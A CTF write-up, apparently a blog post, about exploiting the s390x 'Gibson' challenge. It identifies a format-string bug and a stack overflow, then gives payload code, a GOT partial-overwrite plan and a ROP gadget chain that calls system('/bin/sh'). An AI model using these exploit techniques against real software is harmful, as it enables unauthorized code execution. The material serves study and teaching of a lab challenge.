Gibson: format strings on s390x

A format-string leak and a BOF-driven ROP chain, made harder by an architecture nobody debugs for fun.
TL;DR Leak with a format string, then either ROP via the BOF or overwrite a GOT entry.

"Can you really call it a "main"frame if I haven't used it before now?"

Author:crandyman

No remote connection, Manual Submission Only

tl;dr

Leaks with Format String> ROP With BOF OR Leaks with Format String> GOT Overwrite

Overview

This challenge was a hard pwn from US Cyber Open. The exploit was actually not that complicated but the fact that it used the s390 architecture made it challenging. The lack of decent documentation and tooling support made this challenge unfamiliar and getting the local environment to work was a pain.

Setup

The challenge authors kindly provided the docker files that worked if you followed these specific steps

  • Use an Ubuntu 22.04 x86_64 VM with Docker version 20.10.16 and Docker Compose version v2.5.0
  • Run docker run --rm --privileged multiarch/qemu-user-static --reset -p yes as specified in the tips.md
  • docker compose build
  • docker compose up

The challenge had a nice setup with a competitor port that stimulated the challenge and a debug port that had gdb enabled

- 9999: Fake Infrastructure 
- 8888: Debug port, gdb-server on 1234 

This gdb was for the s390x architecture so be sure to install gdb-multi-arch. GEF had a lot of issues so I ended up disabling most of its features.

s390x

The s390x is a 64 bit big endian architecture developed by IBM. Most of the instructions can be found here http://www.tachyonsoft.com/inst390m.htm. Here's a list of the registers that look very similar to Arm registers

s/390 & z/Architecture Register usage
=====================================
r0       used by syscalls/assembly                  call-clobbered
r1	 used by syscalls/assembly                  call-clobbered
r2       argument 0 / return value 0                call-clobbered
r3       argument 1 / return value 1 (if long long) call-clobbered
r4       argument 2                                 call-clobbered
r5       argument 3                                 call-clobbered
r6	 argument 4				    saved
r7       pointer-to arguments 5 to ...              saved      
r8       this & that                                saved
r9       this & that                                saved
r10      static-chain ( if nested function )        saved
r11      frame-pointer ( if function used alloca )  saved
r12      got-pointer                                saved
r13      base-pointer                               saved
r14      return-address                             saved
r15      stack-pointer                              saved

f0       argument 0 / return value ( float/double ) call-clobbered
f2       argument 1                                 call-clobbered
f4       z/Architecture argument 2                  saved
f6       z/Architecture argument 3                  saved
The remaining floating points
f1,f3,f5 f7-f15 are call-clobbered.

Disassemly

Running the program we are presented with a prompt to enter some data and then something is echoed back to us.

gibson_s390x > nc localhost 9999
GIBSON S390X
Enter payroll data:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Processing data...
33333333333333333333333333333333333333333XRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR

Googling Ghidra S390X resulted in this Chinese ctf blog post https://gange666.github.io/2019/09/09/Bytectf_2019_s390_Writeup. Except the line with ghidra was not a setup guide, rather it was a note that none of the disassembling tools worked normally. Major disappointment but that means we only have objdump. Thankfully the program seems pretty simple

Running s390x-linux-gnu-objdump -d bin/mainframe can give us the full disassemly

Most of these instructions looked foreign but with the instructions lookup sheet and running in gdb we can get a general overview of the program execution.

  • Main first calls setvbuf to fix buffering issues (Common CTF thing, not important)
  • Prints out banner
  • Reads in an input
  • Transforms out input
  • Printf's the transformed input
  • Sleep + Exit Using this we can map most of the instructions in main to fit this execution flow
0000000001000830 <main>:
 1000830:       eb bf f0 58 00 24       stmg    %r11,%r15,88(%r15)
 1000836:       e3 f0 fb 58 ff 71       lay     %r15,-1192(%r15) 
 100083c:       b9 04 00 bf             lgr     %r11,%r15
 1000840:       c4 18 00 00 0b d8       lgrl    %r1,1001ff0 <stdin@GLIBC_2.2>
 1000846:       e3 10 10 00 00 04       lg      %r1,0(%r1)
 100084c:       a7 59 00 00             lghi    %r5,0
 1000850:       a7 49 00 02             lghi    %r4,2
 1000854:       a7 39 00 00             lghi    %r3,0
 1000858:       b9 04 00 21             lgr     %r2,%r1
 100085c:       c0 e5 ff ff ff 1c       brasl   %r14,1000694 <setvbuf@plt>  ; setbuf(stdin, NULL); 
 1000862:       c4 18 00 00 0b cb       lgrl    %r1,1001ff8 <stdout@GLIBC_2.2>
 1000868:       e3 10 10 00 00 04       lg      %r1,0(%r1)
 100086e:       a7 59 00 00             lghi    %r5,0
 1000872:       a7 49 00 02             lghi    %r4,2
 1000876:       a7 39 00 00             lghi    %r3,0
 100087a:       b9 04 00 21             lgr     %r2,%r1
 100087e:       c0 e5 ff ff ff 0b       brasl   %r14,1000694 <setvbuf@plt>   ; setbuf(stdout, NULL); 
 1000884:       ec 1b 00 a0 00 d9       aghik   %r1,%r11,160
 100088a:       a7 49 04 00             lghi    %r4,1024
 100088e:       a7 39 00 00             lghi    %r3,0
 1000892:       b9 04 00 21             lgr     %r2,%r1 
 1000896:       c0 e5 ff ff ff 0f       brasl   %r14,10006b4 <memset@plt>              ; memset(buffer, 0, 1024) 
 100089c:       c0 20 00 00 00 d6       larl    %r2,1000a48 <_IO_stdin_used+0x4>
 10008a2:       c0 e5 ff ff fe d9       brasl   %r14,1000654 <puts@plt>               ; puts("GIBSON S390X")
 10008a8:       c0 20 00 00 00 d7       larl    %r2,1000a56 <_IO_stdin_used+0x12>
 10008ae:       c0 e5 ff ff fe d3       brasl   %r14,1000654 <puts@plt>                 ; puts("Enter payroll data:") 
 10008b4:       ec 1b 00 a0 00 d9       aghik   %r1,%r11,160
 10008ba:       a7 49 07 d0             lghi    %r4,2000
 10008be:       b9 04 00 31             lgr     %r3,%r1
 10008c2:       a7 29 00 00             lghi    %r2,0
 10008c6:       c0 e5 ff ff fe 97       brasl   %r14,10005f4 <read@plt>                ; read(0, buffer, 2000)
 10008cc:       c0 20 00 00 00 cf       larl    %r2,1000a6a <_IO_stdin_used+0x26>
 10008d2:       c0 e5 ff ff fe c1       brasl   %r14,1000654 <puts@plt>               ; puts("Processing data...")
 10008d8:       e5 48 b4 a0 00 00       mvghi   1184(%r11),0
 10008de:       a7 f4 00 13             j       1000904 <main+0xd4>
 10008e2:       e3 10 b4 a0 00 04       lg      %r1,1184(%r11)
 10008e8:       43 11 b0 a0             ic      %r1,160(%r1,%r11)
 10008ec:       c0 17 00 00 00 52       xilf    %r1,82
 10008f2:       18 21                   lr      %r2,%r1
 10008f4:       e3 10 b4 a0 00 04       lg      %r1,1184(%r11)
 10008fa:       42 21 b0 a0             stc     %r2,160(%r1,%r11)
 10008fe:       eb 01 b4 a0 00 7a       agsi    1184(%r11),1
 1000904:       e3 10 b4 a0 00 04       lg      %r1,1184(%r11)
 100090a:       c2 1e 00 00 03 ff       clgfi   %r1,1023
 1000910:       a7 c4 ff e9             jle     10008e2 <main+0xb2>
 1000914:       a7 29 00 00             lghi    %r2,0
 1000918:       c0 e5 ff ff fe 8e       brasl   %r14,1000634 <sleep@plt>                ; sleep(0);
 100091e:       ec 1b 00 a0 00 d9       aghik   %r1,%r11,160
 1000924:       b9 04 00 21             lgr     %r2,%r1
 1000928:       c0 e5 ff ff fe 76       brasl   %r14,1000614 <printf@plt>               ; printf(buffer)
 100092e:       a7 18 00 00             lhi     %r1,0
 1000932:       b9 14 00 11             lgfr    %r1,%r1
 1000936:       b9 04 00 21             lgr     %r2,%r1
 100093a:       eb bf b5 00 00 04       lmg     %r11,%r15,1280(%r11)
 1000940:       07 fe                   br      %r14
 1000942:       07 07                   nopr    %r7
 1000944:       07 07                   nopr    %r7
 1000946:       07 07                   nopr    %r7

BUGS

Usually, in x84 the stack pointer is decremented at the start of each function to make space for local variables. Noticed how 1192 is subtracted from r15 (the stack pointer) at the beginning of the main function

 1000836:       e3 f0 fb 58 ff 71       lay     %r15,-1192(%r15)

This means that the stack buffer is probably around that size but the call to read seems to have 2000 as a parameter. Hence we have a buffer overflow!

 10008ba:       a7 49 07 d0             lghi    %r4,2000
 10008be:       b9 04 00 31             lgr     %r3,%r1
 10008c2:       a7 29 00 00             lghi    %r2,0
 10008c6:       c0 e5 ff ff fe 97       brasl   %r14,10005f4 <read@plt>

Printf takes in a buffer instead of a format string. This means that our input transformed will be passed directly to printf. The transformation does not seem too fancy as theirs an one-to-one mapping. This means its either adding a value or XORing out input

 1000924:       b9 04 00 21             lgr     %r2,%r1
 1000928:       c0 e5 ff ff fe 76       brasl   %r14,1000614 <printf@plt>               ; printf(buffer)

In this loop, all of these instructions seem like loads except one, xilf with XOR. It is xoring whatever is in r1 with 82 and then moving that into the buffer. We can confirm this by XORing our input with 82 and checking to see if we get the same input.

 10008e2:       e3 10 b4 a0 00 04       lg      %r1,1184(%r11)
 10008e8:       43 11 b0 a0             ic      %r1,160(%r1,%r11)
 10008ec:       c0 17 00 00 00 52       xilf    %r1,82
 10008f2:       18 21                   lr      %r2,%r1
 10008f4:       e3 10 b4 a0 00 04       lg      %r1,1184(%r11)
 10008fa:       42 21 b0 a0             stc     %r2,160(%r1,%r11)
 10008fe:       eb 01 b4 a0 00 7a       agsi    1184(%r11),1
 1000904:       e3 10 b4 a0 00 04       lg      %r1,1184(%r11)
 100090a:       c2 1e 00 00 03 ff       clgfi   %r1,1023
 1000910:       a7 c4 ff e9             jle     10008e2 <main+0xb2>
gibson_s390x> nc localhost 9999   
GIBSON S390X
Enter payroll data:
aaaaaaaaaaaaaaaaaaaaaaaaaaa
Processing data...
333333333333333333333333333XRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR^C

gibson_s390x> ipython3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

[nav] In [1]: from pwn import *

[ins] In [2]: xor(b"a",82)
Out[3]: b'3'

Attempt 1

If this was x86 the exploit path would be relatively simple, use printf to leak values and then overwrite GOT. The main difference is that I couldn't find the magically one_gadget. This means that I'll have to resort to replacing something in the GOT with system. Printf is a great candidate as our input is directly passed so if we input /bin/sh we should get a shell. The first issue is that after printf will exit so we need a way to loop the program. Luckily with our buffer overflow, we can overwrite the return address with main so it will loop forever.

Using GDB we can find the offset by spamming characters and checking which ones end up as the instructions pointer. After connecting to port 8888 it will hang until you attach to the gdb server on port 1234.

After inputting a cyclic pattern gdb crashes and we can find the offset as well as what register control we have.

Program received signal SIGSEGV, Segmentation fault.
0x6c61616c6d61616c in ?? ()
gef>  x $pc
0x6c61616c6d61616c:     Cannot access memory at address 0x6c61616c6d61616c
gef>  info registers 
pswm           0x180000000         0x180000000
pswa           0x6c61616c6d61616c  0x6c61616c6d61616c
r0             0xcccccccccccccccd  0xcccccccccccccccd
r1             0x0                 0x0
r2             0x0                 0x0
r3             0x7f095596b720      0x7f095596b720
r4             0x400               0x400
r5             0x0                 0x0
r6             0x10009b0           0x10009b0
r7             0x7f0956385c88      0x7f0956385c88
r8             0x1000830           0x1000830
r9             0x1000948           0x1000948
r10            0x1                 0x1
r11            0x6661616c6761616c  0x6661616c6761616c
r12            0x6861616c6961616c  0x6861616c6961616c
r13            0x6a61616c6b61616c  0x6a61616c6b61616c
r14            0x6c61616c6d61616c  0x6c61616c6d61616c
r15            0x6e61616c6f61616c  0x6e61616c6f61616c
------------------

ex@ex-Standard-PC-Q35-ICH9-2009:~/ctf/gibson_s390x$ cyclic -l 0x6c61616c
1144

With this offset, we can create a payload that will leak values and then loop the program

bof_offset = 1144
payload = b''
payload += xor("%p  "*10, 82) * 3
payload += b'A'*(bof_offset -len(payload))
payload += p64(exe.symbols.main)

p.send(payload)

After the first time, this payload is sent the return pointer will remain overwritten so we can get unlimited attempts at printf. My first exploit attempt took advantage of a partial GOT overwrite as printf and system were very close in this libc.

[ins] In [2]: hex(libc.symbols.printf - libc.symbols.system)
Out[2]: '0xbec0'

Doing a 32 bit overwrite was not possible as printing that many characters took a couple of minutes and there was a 1-minute timeout on the remote instance However, we can do a 16 bit overwrite to just change the last 2 bits of the GOT entry for printf. This was a very bad idea as most of the time alsr base caused the difference to leak into the next byte. We would need to do some brute forcing to get a good libc address.

printf: 0x7fc9a087 5070
system: 0x7fc9a086 91b0
                 ^^

Small Hiccups Here

  • Input is XORed with 82 so XOR all of the input
  • Printf will print a lot of extra characters, appending a NULL byte at the end of the printf will stop this
def sxor(payload):
    p.send(xor(payload + b'\x00',82))

EXPLOIT STEPS:

  • Overflow stack so return address is main
  • Printf("%p") to get libc leaks
  • Use printf padding to print bytes equal to libc.symbols.system & 0xffff
  • Use "%hn" to write to 16 bits of printf got address
  • Send /bin/sh xored

Eventually I got it working locally but on the remote instance, it didn't. I could not figure out what was going on and then I found out that most people had an exploit that worked most of the time so I decided to rewrite my exploit. After solving it I realized that this approach WOULD work but I was leaking libc wrong.

Most of the time the libc base was wrong or it segfaulted upon connection but running this in a loop eventually worked. After a couple more submissions I found out that my exploit never worked. I thought it was just luck but after some time I found out that most people used an exploit that worked almost 100% of the time. At this point, I decided to rewrite this exploit for it to be more stable. After the competition, I found out that this idea would work but I was leaking values incorrectly. The stacks always shifting so the %p on my machine might not be the same on remote.

Attempt 2 Relying on alsr was not a good exploit attempt. I didn't want to ROP as I was hoping to avoid learning the architecture but this was inevitable. After examining various functions it seems that many functions have this epilogue.

=> 0x100093a <main+266>:        lmg     %r11,%r15,1280(%r11)
   0x1000940 <main+272>:        br      %r14

I had no idea what this does but gdb showed that it was just moving values from r15(the stack)+1280 into registers from r11-r15.

gef>  x/4i $pc
=> 0x100093a <main+266>:        lmg     %r11,%r15,1280(%r11)
   0x1000940 <main+272>:        br      %r14
   0x1000942:   nopr    %r7
   0x1000944:   nopr    %r7
gef>  x/5gx $r11 + 1280
0x7f6d2f6479f0: 0x000000000000cafe      0x000000000000babe
0x7f6d2f647a00: 0x000000000000dead      0x000000000000beef
0x7f6d2f647a10: 0x0000000000001337
gef>  x $r11
0x7f6d2f6474f0: 0x0000000000000000
gef>  x $r12
0x4141414141414141:     Cannot access memory at address 0x4141414141414141
gef>  x $r13
0x4141414141414141:     Cannot access memory at address 0x4141414141414141
gef>  x $r14
0x100092e <main+254>:   0xa7180000b9140011
gef>  x $r15
0x7f6d2f6474f0: 0x0000000000000000
gef>  si
0x0000000001000940 in main ()
gef>  x $r11
0xcafe: Cannot access memory at address 0xcafe
gef>  x $r12
0xbabe: Cannot access memory at address 0xbabe
gef>  x $r13
0xdead: Cannot access memory at address 0xdead
gef>  x $r14
0xbeef: Cannot access memory at address 0xbeef
gef>  x $r15
0x1337: Cannot access memory at address 0x1337

Hence if we can control the stack we can use this as a "ret" like in ROP. Now if we call system we only need to control arg1 which is r2. After the overflow, we have control of r11-15 so if we can get a move instruction to move something from those registers to r2 we can call the system. Using objdump I dumped the entire libc and then grepped through it looking for instructions that moved r11 into r2. The best scenario is that after this it immediately calls our "ret".

grep -r l*l.*r2.*r11 libc.disasm -A 2 |  grep  "br..r14" -B 2

To my surprise, this actually existed in the binary and at this point, we were done.

  160554:       b9 14 00 2b             lgfr    %r2,%r11           
  160558:       eb 6f f0 e8 00 04       lmg     %r6,%r15,232(%r15)
  16055e:       07 fe                   br      %r14

Small hicups along the way:

  • lgr seems to move 32 bits only, hence the string of /bin/sh in libc won't work. I had to use my format string to write to the binary BSS as that address was 32 bits
  • r15 NEEDS to be a valid address that can be used as the stack. Using the BSS didn't work for me (it did for some others) so I ended up leaking libc's environ to find the stack. From there I calculated the offset to the current stack pointer, I always used this pointer as it worked nicely.

FINAL EXPLOIT STEPS:

  • Overflow stack so return address is main
  • Printf("%p") to get libc leaks
  • Leak libc.environ to get stack leak
  • Format String to move "/bin/sh" into .bss
  • ROP using a gadget to "pop r2" and system

At this point, I had a super reliable exploit locally but on remote, it didn't work again. At this point, there were a couple of hours of the CTF left and I was freaking out. After opening a ticket I realized that my libc addresses were wrong. Nothing made sense until I got a IP to connect to and I checked the value at libc base. To my surprise, it was not "ELF" instead it was some massive chunk of bytes. At this point, I realized that using %p to leak stack values is not a good idea as the stack shifts a lot. Instead, I used the format string to leak the GOT. After this, my exploit worked!!

fig1.png<CR> zoom
s390x stack layout diagram
fig 1 — stack layout used for the ROP chain

Lessons Learned:

  • Never assume addresses, if you have a leak always validate them
  • When learning a new architecture try to map instructions to ones that you are already familiar with
  • GDB's your best friend for learning new architectures
NORMAL posts/2022/gibson-s390x-format-string-to-rop.md ln 1/3380%